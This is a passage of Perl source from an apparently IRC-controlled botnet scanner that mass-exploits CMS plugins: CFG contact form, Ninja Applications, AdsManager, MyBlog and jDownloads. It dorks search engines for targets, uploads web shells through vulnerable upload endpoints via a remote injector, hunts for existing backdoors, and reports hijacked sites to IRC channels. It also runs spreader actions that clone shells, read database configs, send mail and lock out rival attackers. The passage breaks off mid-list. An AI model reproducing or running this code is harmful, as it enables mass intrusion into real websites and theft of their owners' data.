        if ($engine =~ /tz/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"tz",$type,$nick,$id); } exit; } }
        if ($engine =~ /tl/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"tl",$type,$nick,$id); } exit; } }
        if ($engine =~ /tg/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"tg",$type,$nick,$id); } exit; } }
        if ($engine =~ /tk/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"tk",$type,$nick,$id); } exit; } }
        if ($engine =~ /tn/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"tn",$type,$nick,$id); } exit; } }
        if ($engine =~ /tc/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"tc",$type,$nick,$id); } exit; } }
        if ($engine =~ /vu/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"vu",$type,$nick,$id); } exit; } }
        if ($engine =~ /wf/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"wf",$type,$nick,$id); } exit; } }
        if ($engine =~ /ye/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"ye",$type,$nick,$id); } exit; } }
        if ($engine =~ /zw/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"zw",$type,$nick,$id); } exit; } }
        if ($engine =~ /com/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"com",$type,$nick,$id); } exit; } }   
        if ($engine =~ /net/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"net",$type,$nick,$id); } exit; } }
        if ($engine =~ /org/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"org",$type,$nick,$id); } exit; } } 
        if ($engine =~ /biz/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"biz",$type,$nick,$id); } exit; } } 
        if ($engine =~ /xxx/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"xxx",$type,$nick,$id); } exit; } }
        if ($engine =~ /tel/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"tel",$type,$nick,$id); } exit; } }
        if ($engine =~ /mil/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"mil",$type,$nick,$id); } exit; } }  
        if ($engine =~ /pro/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"pro",$type,$nick,$id); } exit; } }  
        if ($engine =~ /edu/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"edu",$type,$nick,$id); } exit; } }
        if ($engine =~ /gov/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"gov",$type,$nick,$id); } exit; } }
        if ($engine =~ /cat/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"cat",$type,$nick,$id); } exit; } }  
        if ($engine =~ /info/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"info",$type,$nick,$id); } exit; } }
        if ($engine =~ /asia/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"asia",$type,$nick,$id); } exit; } }
        if ($engine =~ /name/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"name",$type,$nick,$id); } exit; } }
        if ($engine =~ /jobs/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"jobs",$type,$nick,$id); } exit; } }
        if ($engine =~ /mobi/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"mobi",$type,$nick,$id); } exit; } }
        if ($engine =~ /aero/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"aero",$type,$nick,$id); } exit; } }
        if ($engine =~ /coop/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"coop",$type,$nick,$id); } exit; } } 
        if ($engine =~ /travel/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"travel",$type,$nick,$id); } exit; } }
    }
	
sub type {
	my ($chan,$bug,$dork,$engine,$type,$nick, $id) = @_;
    
    if    ($type == 1){ &ninja_xpl($chan,$bug,$dork,$ninjalogo,$engine,$nick,$id);}
    elsif ($type == 2){ &adsManager_xpl($chan,$bug,$dork,$adslogo,$engine,$nick,$id);}
    elsif ($type == 3){ &myblog_xpl($chan,$bug,$dork,$bloglogo,$engine,$nick,$id);}
    elsif ($type == 4){ &jdownloads_xpl($chan,$bug,$dork,$jdlogo,$engine,$nick,$id);}
    elsif ($type == 5){ &revslider_xpl($chan,$bug,$dork,$revlogo,$engine,$nick,$id);}
    elsif ($type == 6){ &wpconfig_xpl($chan,$bug,$dork,$wpclogo,$engine,$nick,$id);}
    elsif ($type == 7){ &magento_xpl($chan,$bug,$dork,$maglogo,$engine,$nick,$id);}
    elsif ($type == 8){ &cfgcontact_xpl($chan,$bug,$dork,$cfglogo,$engine,$nick,$id);}
    
}
#########################################################################################################
#                                     CFGCONTACTFORM EXPLOIT.                                           #
#                                       xpl : feed.php                                                  #
#########################################################################################################
sub cfgcontact_xpl {
    my ($chan,$bug,$dork,$logo,$engine,$nick,$id) = @_;
    
    #========= ACTION SET =============#                             
    my $xpl     = "feed.php";
    my $clone   = "?ka&x=clone&path=..%2F..%2Ffeed.php%2C..%2Fcontactformgenerator%2Ffeed.php";
    my $patch   = "?ka&x=patch&allow=feed.php%2Cindo.php";
    my $plbot   = "?ka&x=plbot";
    my $resPath = "";
    my $mail    = "?ka&x=mail";
    my $dblink  = "";
    #==================================# 
    
    my @total = &search_engine($chan,$bug,$dork,$engine,$logo);
    my $num   = scalar(@total);
     
    if ($num > 0) {
        for(my $i = 0; $i <= $num; $i++) {

            if($i == ($num -1)) {
                my @newdata = &coiGetDork($chan, $engine);  
                
                if($newdata[0] ne "false") {
                    $num = ($num + scalar(@newdata));
                    push(@total, @newdata);
                } else {
                    if(length($engine) > 2 ) {
                        sleep(8);
                        &msg("$chan",$art{"front"}."14ID:$id".$art{"div"}."15".uc($engine).$art{"div"}."14Im Done...".$art{"back"});    
                    } else {
                        if(lc($engine) !~ /$tld/) {
                            sleep(8);
                            &msg("$chan",$art{"front"}."14ID:$id".$art{"div"}."15".uc($engine).$art{"div"}."14Im Done...".$art{"back"}); 
                        }
                    }
                } 
            }
            
            my $return = 0;
            my $site = $total[$i];

            $site =~ /cfg\-contactform\-(\d+)/;
            my $ct  = ($1) ? $1 :0;
            $site =~ s/cfg-contactform\-\d+\/.*//;

            my @bdpath = ( 
                            "/feed.php+".$osKey,
                            "/contactformgenerator/feed.php+".$osKey,
                            "/myluph.php",
                            "/bogel.php",
                            "/index.inc.php"
                        );

            my @res = &backdoorCheck($site,@bdpath);
            
            if($res[0] ne "false") {
                sleep(3);
                my $msg = "3$res[0] ".$art{"circ1"}."OS:14$res[1]".$art{"circ2"}." ".$art{"circ1"}."SAFEMODE:14$res[2]".$art{"circ2"};
                &sendMsg(2,$id,$shellogo,$logo,$engine,$chan,$nick,$msg,$res[1],$res[2]);
                if($logger) { 
                    my $file = "patch.txt";
                    if($res[3] == 0 or $res[3] == 1) { $file = "old.txt";}
                    &saveTarget($file,$result[0],$result[1],$result[2]); 
                }

            } else {
                if($ct) {
                    my $url = "http://".$site."/cfg-contactform-".$ct."/inc/upload.php";
                    my $check = &_get($url);
                    
                    if($check->is_success) {
                        my $path = $injector."?x=".$site."&y=cfg&id=".$ct;
                        &get_content($path);
                        sleep(2);

                        my $upath = "http://".$site."/cfg-contactform-".$ct."/upload/".$xpl;
                        my $ucheck = &get_content($upath);

                        if($ucheck =~ /GIF89a/ig or $ucheck =~ /Touched by SiNaGa/ig){     
                            $return  = 1;
                            my $safe = "";
                            my $os   = ""; 

                            if ($ucheck =~ m/SAFE_MODE : (.*?)<\/b>/) { $safe = $1;}
                            if ($ucheck =~ m/Uname : (.*?)<\/b>/){ $os=$1;}
                            if(lc($safe) eq "on") { $safe = "14ON";} else { $safe = "3OFF";};

                            if($os ne ""){ 
                                sleep(3);
                                my $msg = "3$upath ".$art{"circ1"}."OS:14$os".$art{"circ2"}." ".$art{"circ1"}."SAFEMODE:14$safe".$art{"circ2"};
                                &sendMsg(2,$id,$shellogo,$logo,$engine,$chan,$nick,$msg,$os,$safe); 
                                &spreader("x",$clone,$patch,$mail,"",$plbot,$site,$upath,"/cfg-contactform-".$ct."/upload/",$logo,1,$engine,$chan,$nick,$id);
                                if($logger) { &saveTarget("new.txt",$upath,$os,$safe); }
                           }
                        }
                    }
                } 
 
                if(!$return) {
                    for(my $i = 1;$i <= 21;$i++) {
                        my $url4 = "http://".$site."/cfg-contactform-".$i."/inc/upload.php";
                        my $check4 = &_get($url4);

                        if($check4->is_success) {
                            my $path4 = $injector."?x=".$site."&y=cfg&id=".$i;
                            &get_content($path4);
                            sleep(2);

                            my $upath4  = "http://".$site."/cfg-contactform-".$i."/upload/".$xpl;
                            my $ucheck4 = &get_content($upath4);

                            if($ucheck4 =~ /GIF89a/ig or $ucheck4 =~ /Touched by SiNaGa/ig){     
                                $return  = 1;
                                my $safe = "";
                                my $os   = ""; 

                                if ($ucheck4 =~ m/SAFE_MODE : (.*?)<\/b>/) { $safe = $1;}
                                if ($ucheck4 =~ m/Uname : (.*?)<\/b>/){ $os=$1;}
                                if(lc($safe) eq "on") { $safe = "14ON";} else { $safe = "3OFF";};

                                if($os ne ""){ 
                                    sleep(3);
                                    my $msg = "3$upath4 ".$art{"circ1"}."OS:14$os".$art{"circ2"}." ".$art{"circ1"}."SAFEMODE:14$safe".$art{"circ2"};
                                    &sendMsg(2,$id,$shellogo,$logo,$engine,$chan,$nick,$msg,$os,$safe); 

                                    &spreader("x",$clone,$patch,$mail,"",$plbot,$site,$upath4,"/cfg-contactform-".$i."/upload/",$logo,1,$engine,$chan,$nick,$id);

                                    if($logger) { &saveTarget("new.txt",$upath4,$os,$safe); }
                                }
                                last;
                            }
                        }
                    }
                }
            }
        }
    }      
}
#########################################################################################################
#                                     NINJA EXPLOIT                                                     #
#                                    xpl : feed.jpg                                                     #
#                                    result:<rand>feed.php                                              #
#########################################################################################################
sub ninja_xpl {
    my ($chan,$bug,$dork,$logo,$engine,$nick,$id) = @_;
    
    #========= ACTION SET =============#                              
    my $xpl     = "feed.jpg";
    my $clone   = "?ka&x=clone&path=..%2F..%2Fninja-applications%2Ffufu%2Fthemes%2Ffeed.php";
    my $patch   = "?ka&x=patch&lock=1&allow=%2Aparser%2A%2Cindo.php";
    my $plbot   = "?ka&x=plbot";
    my $resPath = "/uploads/temp/";
    my $mail    = "?ka&x=mail";
    my $dblink  = "?ka&x=read&path=..%2F..%2Fninja-configs%2Fconfig.db.inc";
    #==================================# 
    
    my @total = &search_engine($chan,$bug,$dork,$engine,$logo);
    my $num   = scalar(@total);
     
    if ($num > 0) {
        for(my $i = 0; $i <= $num; $i++) {
 
            if($i == ($num -1)) {
                my @newdata = &coiGetDork($chan, $engine);  
                
                if($newdata[0] ne "false") {
                    $num = ($num + scalar(@newdata));
                    push(@total, @newdata);
                } else {
                    if(length($engine) > 2 ) {
                        sleep(8);
                        &msg("$chan",$art{"front"}."14ID:$id".$art{"div"}."15".uc($engine).$art{"div"}."14Im Done...".$art{"back"});
                    } else {
                        if(lc($engine) !~ /$tld/) {
                            sleep(8);
                            &msg("$chan",$art{"front"}."14ID:$id".$art{"div"}."15".uc($engine).$art{"div"}."14Im Done...".$art{"back"});
                        }
                    }
                } 
            }
            
            
            my $site = $total[$i];
            $site =~ s/ninja-applications\/.*//;
            
            my $url   = "http://".$site."/ninja-applications/fufu/controllers/uploader/upload.php";
            my $check = &_get($url);

            if($check->is_success) {    
                my @bdpath = ( 
                               "/ninja-applications/fufu/themes/feed.php+".$osKey,
                               "/class.inc.php",
                               "/.config.php",
                               "/system/.config.php"
                             );

                my @result = &backdoorCheck($site,@bdpath);

                if($result[0] ne "false") {
                    sleep(3);
                    my $msg = "3$result[0] ".$art{"circ1"}."OS:14$result[1]".$art{"circ2"}." ".$art{"circ1"}."SAFEMODE:14$result[2]".$art{"circ2"};
                    &sendMsg(2,$id,$shellogo,$logo,$engine,$chan,$nick,$msg,$result[1],$result[2]);
                    
                    if($repeat) {
                        if($result[3] == 0) {
                            $dblink = "?ka&x=read&path=..%2F..%2F..%2Fninja-configs%2Fconfig.db.inc";
                            &spreader("ninja",$clone,$patch,$mail,$dblink,$plbot,$site,$result[0],$resPath,$logo,0,$engine,$chan,$nick,$id);
                        }
                    }  
                    if($logger) {
                        my $file = ($result[3] == 0) ? "old.txt" : "patch.txt";
                        &saveTarget($file,$result[0],$result[1],$result[2]);  
                    }
                } else {
                    my $act = $injector."?x=".$site."&y=ninja";
                    my $chk = &_get($act);
                    my $res = $chk->decoded_content;
                    sleep(2);
                    
                    if($res =~ /cleanFileName/ig) {
                        $res =~ m/\"cleanFileName\"?\s\:?\s\"(.*)\"/i;
                        my $bd = $1;
                        
                        my $upath = "http://".$site."/uploads/temp/".$bd;
                        my $ucheck = &get_content($upath."?".$osKey);
                        sleep(2);
                        
                        if($ucheck =~ /GIF89a/ig or $ucheck =~ /Touched by SiNaGa/ig){     
                            my $safe = "";
                            my $os   = ""; 

                            if ($ucheck =~ m/SAFE_MODE : (.*?)<\/b>/) { $safe = $1;}
                            if ($ucheck =~ m/Uname : (.*?)<\/b>/){ $os=$1;}
                            if(lc($safe) eq "on") { $safe = "14ON";} else { $safe = "3OFF";};

                            if($os ne ""){ 
                                sleep(3);
                                my $msg = "3$upath ".$art{"circ1"}."OS:14$os".$art{"circ2"}." ".$art{"circ1"}."SAFEMODE:14$safe".$art{"circ2"};
                                &sendMsg(2,$id,$shellogo,$logo,$engine,$chan,$nick,$msg,$os,$safe); 

                                &spreader("ninja",$clone,$patch,$mail,$dblink,$plbot,$site,$upath,$resPath,$logo,1,$engine,$chan,$nick,$id);
                                if($logger) { &saveTarget("new.txt",$upath,$os,$safe);}
                           }
                        }
                    } 
                }
            }     
        }
    } 
}
#########################################################################################################
#                                     ADSMANAGER EXPLOIT.                                               #
#                                       xpl : feed.jpg                                                  #
#########################################################################################################
sub adsManager_xpl {
    my ($chan,$bug,$dork,$logo,$engine,$nick,$id) = @_;
    
    #========= ACTION SET =============#                             
    my $xpl     = "feed.jpg";
    my $clone   = "?ka&x=clone&path=..%2F..%2Flogs%2Ffeed.php%2C..%2F..%2Fmodules%2Fmod_banners%2Findex.php";
    my $patch   = "?ka&x=patch&allow=feed.php%2Cindo.php";
    my $plbot   = "?ka&x=plbot";
    my $resPath = "/tmp/plupload/";
    my $mail    = "?ka&x=mail";
    my $dblink  = "?ka&x=jdb";
    #==================================# 
    
    my @total = &search_engine($chan,$bug,$dork,$engine,$logo);
    my $num   = scalar(@total);
     
    if ($num > 0) {
        for(my $i = 0; $i <= $num; $i++) {

            if($i >= 10) { sleep(5);} 
            
            if($i == ($num -1)) {
                my @newdata = &coiGetDork($chan, $engine);  
                
                if($newdata[0] ne "false") {
                    $num = ($num + scalar(@newdata));
                    push(@total, @newdata);
                } else {
                    if(length($engine) > 2 ) {
                        sleep(8);
                        &msg("$chan",$art{"front"}."14ID:$id".$art{"div"}."15".uc($engine).$art{"div"}."14Im Done...".$art{"back"});    
                    } else {
                        if(lc($engine) !~ /$tld/) {
                            sleep(8);
                            &msg("$chan",$art{"front"}."14ID:$id".$art{"div"}."15".uc($engine).$art{"div"}."14Im Done...".$art{"back"}); 
                        }
                    }
                } 
            }
            
            my $site = $total[$i];
            
            $site =~ s/index.php\/.*//;
            $site =~ s/components\/.*//;
			$site =~ s/component\/.*//;
            $site =~ s/index\.php\?option\=com_adsmanager.*//;
            
            my $url   = "http://".$site."/index.php?option=com_adsmanager&task=upload&tmpl=component";
            my $check = &_get($url);

            if($check->is_success) {
                if (my $pid = fork){waitpid($pid, 0);}else{if(fork){exit;
				    } else{ 
                        my @bdpath = ( 
                                       "/logs/feed.php+".$osKey,
                                       "/modules/mod_banners/index.php+".$osKey,
									   "/media/system/js/index.php+".$osKey,
									   "/components/com_media/index.php+".$osKey,
                                       "/tmp/plupload/feed.php+".$osKey
                                     );         
                        my @result = &backdoorCheck($site,@bdpath);
                        
                        if($result[0] ne "false") { 
                            sleep(5);
                            my $msg = "3$result[0] ".$art{"circ1"}."OS:14$result[1]".$art{"circ2"}." ".$art{"circ1"}."SAFEMODE:14$result[2]".$art{"circ2"};
                            &sendMsg(2,$id,$shellogo,$logo,$engine,$chan,$nick,$msg,$result[1],$result[2]);
                            
                            if($repeat) {
                                &spreader("joomla",$clone,$patch,$mail,$dblink,$plbot,$site,$result[0],$resPath,$logo,0,$engine,$chan,$nick,$id);
                            }
                            
                            if($logger) { &saveTarget("old.txt",$result[0],$result[1],$result[2]); }

                        } else {

                            my $act = $injector."?x=".$site."&y=ads";
                            my $chk = &get_content($act);
                            sleep(2);

                            my $upath = "http://".$site.$resPath."feed.php";
                            my $ucheck = &get_content($upath."?".$osKey);
                            sleep(2);

                            if($ucheck =~ /GIF89a/ig or $ucheck =~ /Touched by SiNaGa/ig){     
                                my $safe = "";
                                my $os   = ""; 

                                if ($ucheck =~ m/SAFE_MODE : (.*?)<\/b>/) { $safe = $1;}
                                if ($ucheck =~ m/Uname : (.*?)<\/b>/){ $os=$1;}
                                if(lc($safe) eq "on") { $safe = "14ON";} else { $safe = "3OFF";};

                                if($os ne ""){ 
                                    sleep(5);
                                    my $msg = "3$upath ".$art{"circ1"}."OS:14$os".$art{"circ2"}." ".$art{"circ1"}."SAFEMODE:14$safe".$art{"circ2"};
                                    &sendMsg(2,$id,$shellogo,$logo,$engine,$chan,$nick,$msg,$os,$safe); 
                                    
                                    &spreader("joomla",$clone,$patch,$mail,$dblink,$plbot,$site,$upath,$resPath,$logo,1,$engine,$chan,$nick,$id);

                                    if($logger) { &saveTarget("new.txt",$upath,$os,$safe); }
                               }
                            } else {
                                my @path2 = ( "/includes/xmlrpc.php",
                                              "/xmlrpc.php",
                                              "/components/index.inc.php",
                                              "/media/system/js/index.inc.php",
                                              "/yena.php",
                                              "/tmp/plupload/yena.php",
                                              "/tmp/plupload/bogex.php",
                                              "/tmp/plupload/index.php",
                                              "/images/com_adsmanager/ads/uploaded/bogel.php",
											  "/media/system/css/unix.php", 
											  "/components/index.inc.php",
											  "/tmp/plupload/unix.php",
											  "/images/com_adsmanager/ads/uploaded/unix.php",
											  "/logs/unix.php",
											  "/plugins/editors/index.php", 
											  "/cache/bogel.php",
											  "/bogel.php",
											  "/.libs.php",
											  "/wp-content.php",
											  "/404.php",
											  "/wp-xmlrpc.php", 
											  "/myluph.php",
                                              "/images/com_adsmanager/ads/uploaded/index.php"          
                                    );
                                
                                my @patcher = &backdoorCheck($site,@path2);
                        
                                if($patcher[0] ne "false") {  
                                    sleep(5);
                                    my $msg = "3$patcher[0] ".$art{"circ1"}."OS:14$patcher[1]".$art{"circ2"}." ".$art{"circ1"}."SAFEMODE:14$patcher[2]".$art{"circ2"};
                                    &sendMsg(2,$id,$shellogo,$logo,$engine,$chan,$nick,$msg,$patcher[1],$patcher[2]);
                                    
                                    if($logger) { &saveTarget("patch.txt",$patcher[0],$patcher[1],$patcher[2]); }
                                }           
                            }
                        }
                    }
                    exit;
                }   
            }          
        }
    } 
}
#########################################################################################################
#                                     MYBLOG EXPLOIT.                                                   #
#                                    xpl : version.php.xxxjpg                                           #
#########################################################################################################
sub myblog_xpl {
    my ($chan,$bug,$dork,$logo,$engine,$nick,$id) = @_;
    
    #========= ACTION SET =============#  
    my $xpl    = "feed.php.xxxjpg";
    my $clone  = "?ka&x=clone&path=..%2F..%2Flogs%2Ffeed.php%2C..%2F..%2Fmodules%2Fmod_banners%2Findex.php";
    my $patch  = "?ka&x=patch&allow=feed.php.xxxjpg%2Cindo.php";
    my $plbot  = "?ka&x=plbot";
    my $mail   = "?ka&x=mail";
    my $dblink = "?ka&x=jdb";
    #===============================# 
    my @total = &search_engine($chan,$bug,$dork,$engine,$logo);
    my $num   = scalar(@total);
     
    if ($num > 0) {
        for(my $i = 0; $i <= $num; $i++) {

            if($i >= 10) { sleep(3);} 
            
            if($i == ($num -1)) {
                my @newdata = &coiGetDork($chan, $engine);  
                
                if($newdata[0] ne "false") {
                    $num = ($num + scalar(@newdata));
                    push(@total, @newdata);
                } else {
                    if(length($engine) > 2 ) {
                        sleep(8);
                        &msg("$chan",$art{"front"}."14ID:$id".$art{"div"}."15".uc($engine).$art{"div"}."14Im Done...".$art{"back"});
                    } else {
                        if(lc($engine) !~ /$tld/) {
                            sleep(8);
                            &msg("$chan",$art{"front"}."14ID:$id".$art{"div"}."15".uc($engine).$art{"div"}."14Im Done...".$art{"back"});
                        }
                    }
                } 
            }
            
            my $site = $total[$i];
            $site =~ s/index.php\/.*//;
            $site =~ s/components\/.*//;
			$site =~ s/component\/.*//;
            $site =~ s/index\.php\?option\=com_myblog.*//;
            
            my $url   = "http://".$site."/index.php?option=com_myblog&task=ajaxupload";
            my $check = &_get($url);

            if($check->is_success) {
                if (my $pid = fork){waitpid($pid, 0);}else{if(fork){exit;
				    } else{
                        my @bdpath = ( 
                                       "/logs/feed.php+".$osKey,
									   "/media/system/js/index.php+".$osKey,
									   "/components/com_media/index.php+".$osKey,
                                       "/modules/mod_banners/index.php+".$osKey
                                    );

                        my @result = &backdoorCheck($site,@bdpath);
 
                        if($result[0] ne "false") {
                            sleep(3);
                            my $msg = "3$result[0] ".$art{"circ1"}."OS:14$result[1]".$art{"circ2"}." ".$art{"circ1"}."SAFEMODE:14$result[2]".$art{"circ2"};
                            &sendMsg(2,$id,$shellogo,$logo,$engine,$chan,$nick,$msg,$result[1],$result[2]);
                            
                            if($repeat) {
                                &spreader("joomla",$clone,$patch,$mail,$dblink,$plbot,$site,$result[0],"",$logo,0,$engine,$chan,$nick,$id);
                            }
                            
                            if($logger) { &saveTarget("old.txt",$result[0],$result[1],$result[2]); }
                            
                        } else {

                            my $act = $injector."?x=".$site."&y=jblog";
                            my $chk = &_get($act);
                            sleep(3);

                            my @dir = ("/images/","/images/stories/","/images/0/","/images/blog/");

                            my @rest = ( "/images/feed.php.xxxjpg+".$osKey,
                                         "/images/stories/feed.php.xxxjpg+".$osKey,
                                         "/images/0/feed.php.xxxjpg+".$osKey,
                                         "/images/blog/feed.php.xxxjpg+".$osKey
                                         );
                            my @res = &backdoorCheck($site,@rest);

                            if($res[0] ne "false") {
                                sleep(3);
                                my $key = $res[3];
                                if($key == 0) {
                                    $clone  = "?ka&x=clone&path=..%2Flogs%2Ffeed.php%2C..%2Fmodules%2Fmod_banners%2Findex.php";
                                }

                                my $msg = "3$res[0] ".$art{"circ1"}."OS:14$res[1]".$art{"circ2"}." ".$art{"circ1"}."SAFEMODE:14$res[2]".$art{"circ2"};
                                &sendMsg(2,$id,$shellogo,$logo,$engine,$chan,$nick,$msg,$res[1],$res[2]);
                                &spreader("joomla",$clone,$patch,$mail,$dblink,$plbot,$site,$res[0],$dir[$key],$logo,1,$engine,$chan,$nick,$id);

                                if($logger) { &saveTarget("new.txt",$res[0],$res[1],$res[2]); }

                            } else {
                                my @patchs = ( 
                                               "/images/0/yena.PhP.pjpeg",
                                               "/images/yena.PhP.pjpeg",
                                               "/images/blog/yena.PhP.pjpeg",
                                               "/images/stories/yena.PhP.pjpeg",
                                               "/images/0/images.PhP.pjpeg",
                                               "/images/images.PhP.pjpeg",
                                               "/images/bogel.PhP.pjpeg",
                                               "/images/xx.PhP.pjpeg",
                                               "/images/0/xx.PhP.pjpeg",
                                               "/images/blog/xx.PhP.pjpeg",
                                               "/images/stories/xx.PhP.pjpeg",
                                               "/images/0/bogel.PhP.pjpeg",
                                               "/images/blog/bogel.PhP.pjpeg",
                                               "/images/stories/bogel.PhP.pjpeg",
											   "/plugins/editors/index.php", 
											   "/cache/bogel.php", 
											   "/.libs.php",
											   "/wp-content.php",
											   "/404.php",
											   "/wp-xmlrpc.php", 
											   "/myluph.php",
                                               "/yena.php"
                                );

                                my @patcher = &backdoorCheck($site,@patchs);

                                if($patcher[0] ne "false") {
                                    sleep(3);
                                    my $msg = "3$patcher[0] ".$art{"circ1"}."OS:14$patcher[1]".$art{"circ2"}." ".$art{"circ1"}."SAFEMODE:14$patcher[2]".$art{"circ2"};
                                    &sendMsg(2,$id,$shellogo,$logo,$engine,$chan,$nick,$msg,$patcher[1],$patcher[2]);

                                    if($logger) { &saveTarget("patch.txt",$patcher[0],$patcher[1],$patcher[2]); }
                                }
                            }
                            
                        }
                    }
                    exit;
                }   
            }   
        }
    } 
}
#########################################################################################################
#                                     JDOWNLOADS EXPLOIT.                                               #
#                                    xpl :version.php.php.j                                             #
#########################################################################################################
sub jdownloads_xpl {
    my ($chan,$bug,$dork,$logo,$engine,$nick,$id) = @_;
    
    #========= ACTION SET =============#                          
    my $xpl     = "feed.php.php.j";
    my $xpl2    = "image.zip";
    my $clone   = "?ka&x=clone&path=..%2F..%2F..%2Flogs%2Ffeed.php%2C..%2F..%2F..%2Fmodules%2Fmod_banners%2Findex.php";
    my $patch   = "?ka&x=patch&allow=feed.php.j%2Cindo.php";
    my $plbot   = "?ka&x=plbot";
    my $resPath = "/images/jdownloads/screenshots/";
    my $mail    = "?ka&x=mail";
    my $dblink  = "?ka&x=jdb";
    #=================================# 
    
    my @total = &search_engine($chan,$bug,$dork,$engine,$logo);
    my $num   = scalar(@total);
     
    if ($num > 0) {
        for(my $i = 0; $i <= $num; $i++) {
        
            if($i >= 10) { sleep(5);}
            
            if($i == ($num -1)) {
                my @newdata = &coiGetDork($chan, $engine);  
                
                if($newdata[0] ne "false") {
                    $num = ($num + scalar(@newdata));
                    push(@total, @newdata);
                } else {
                    if(length($engine) > 2 ) {
                        sleep(8);
                        &msg("$chan",$art{"front"}."14ID:$id".$art{"div"}."15".uc($engine).$art{"div"}."14Im Done...".$art{"back"});
                    } else {
                        if(lc($engine) !~ /$tld/i) {
                            sleep(8);
                            &msg("$chan",$art{"front"}."14ID:$id".$art{"div"}."15".uc($engine).$art{"div"}."14Im Done...".$art{"back"});
                        }
                    }
                } 
            }
             
            my $site = $total[$i];
            $site =~ s/index.php\/.*//;
            $site =~ s/components\/.*//;
			$site =~ s/component\/.*//;
            $site =~ s/index\.php\?option\=com_jdownloads.*//;
            
            my $url   = "http://".$site."/index.php?option=com_jdownloads&Itemid=0&view=upload";
            my $check = &_get($url);

            if($check->is_success) {
                if (my $pid = fork){waitpid($pid, 0);}else{if(fork){exit;
				    } else{  
                        my @bdpath = ( 
                                       "/logs/feed.php+".$osKey,
                                       "/modules/mod_banners/index.php+".$osKey,
                                       "/images/jdownloads/screenshots/feed.php.j+".$osKey,
                                       "/media/system/js/index.php+".$osKey,
									   "/components/com_media/index.php+".$osKey
                                    );
                        my @result = &backdoorCheck($site,@bdpath);
                        
                        if($result[0] ne "false") {
                            sleep(5);
                            my $msg = "3$result[0] ".$art{"circ1"}."OS:14$result[1]".$art{"circ2"}." ".$art{"circ1"}."SAFEMODE:14$result[2]".$art{"circ2"};
                            &sendMsg(2,$id,$shellogo,$logo,$engine,$chan,$nick,$msg,$result[1],$result[2]);
                            
                            if($repeat) {
                                if($result[3] == 2) { $dblink = "?ka&x=jdb";}
                                &spreader("joomla",$clone,$patch,$mail,$dblink,$plbot,$site,$result[0],$resPath,$logo,0,$engine,$chan,$nick,$id);
                            } 
                            if($logger) { &saveTarget("old.txt",$result[0],$result[1],$result[2]); }
   
                        } else {
                            my $act = $injector."?x=".$site."&y=jdl";
                            my $chk = &get_content($act);
                            sleep(3);
 
                            my $upath = "http://".$site.$resPath."feed.php.j";
                            my $ucheck = &get_content($upath."?".$osKey);
                            sleep(2);

                            if($ucheck =~ /GIF89a/ig or $ucheck =~ /Touched by SiNaGa/ig){     
                                sleep(5);
                                my $safe = "";
                                my $os   = ""; 

                                if ($ucheck =~ m/SAFE_MODE : (.*?)<\/b>/) { $safe = $1;}
                                if ($ucheck =~ m/Uname : (.*?)<\/b>/){ $os=$1;}
                                if(lc($safe) eq "on") { $safe = "14ON";} else { $safe = "3OFF";};

                                if($os ne ""){
                                    sleep(4);
                                    my $msg = "3$upath ".$art{"circ1"}."OS:14$os".$art{"circ2"}." ".$art{"circ1"}."SAFEMODE:14$safe".$art{"circ2"};
                                    &sendMsg(2,$id,$shellogo,$logo,$engine,$chan,$nick,$msg,$os,$safe);  
                                    &spreader("joomla",$clone,$patch,$mail,$dblink,$plbot,$site,$upath,$resPath,$logo,1,$engine,$chan,$nick,$id);

                                    if($logger) { &saveTarget("new.txt",$upath,$os,$safe); }
                                }
                            } else {
                                my @path2 = ( 
											"/images/jdownloads/screenshots/unix.php.j", 
											"/images/jdownloads/screenshots/gelo.php.j",
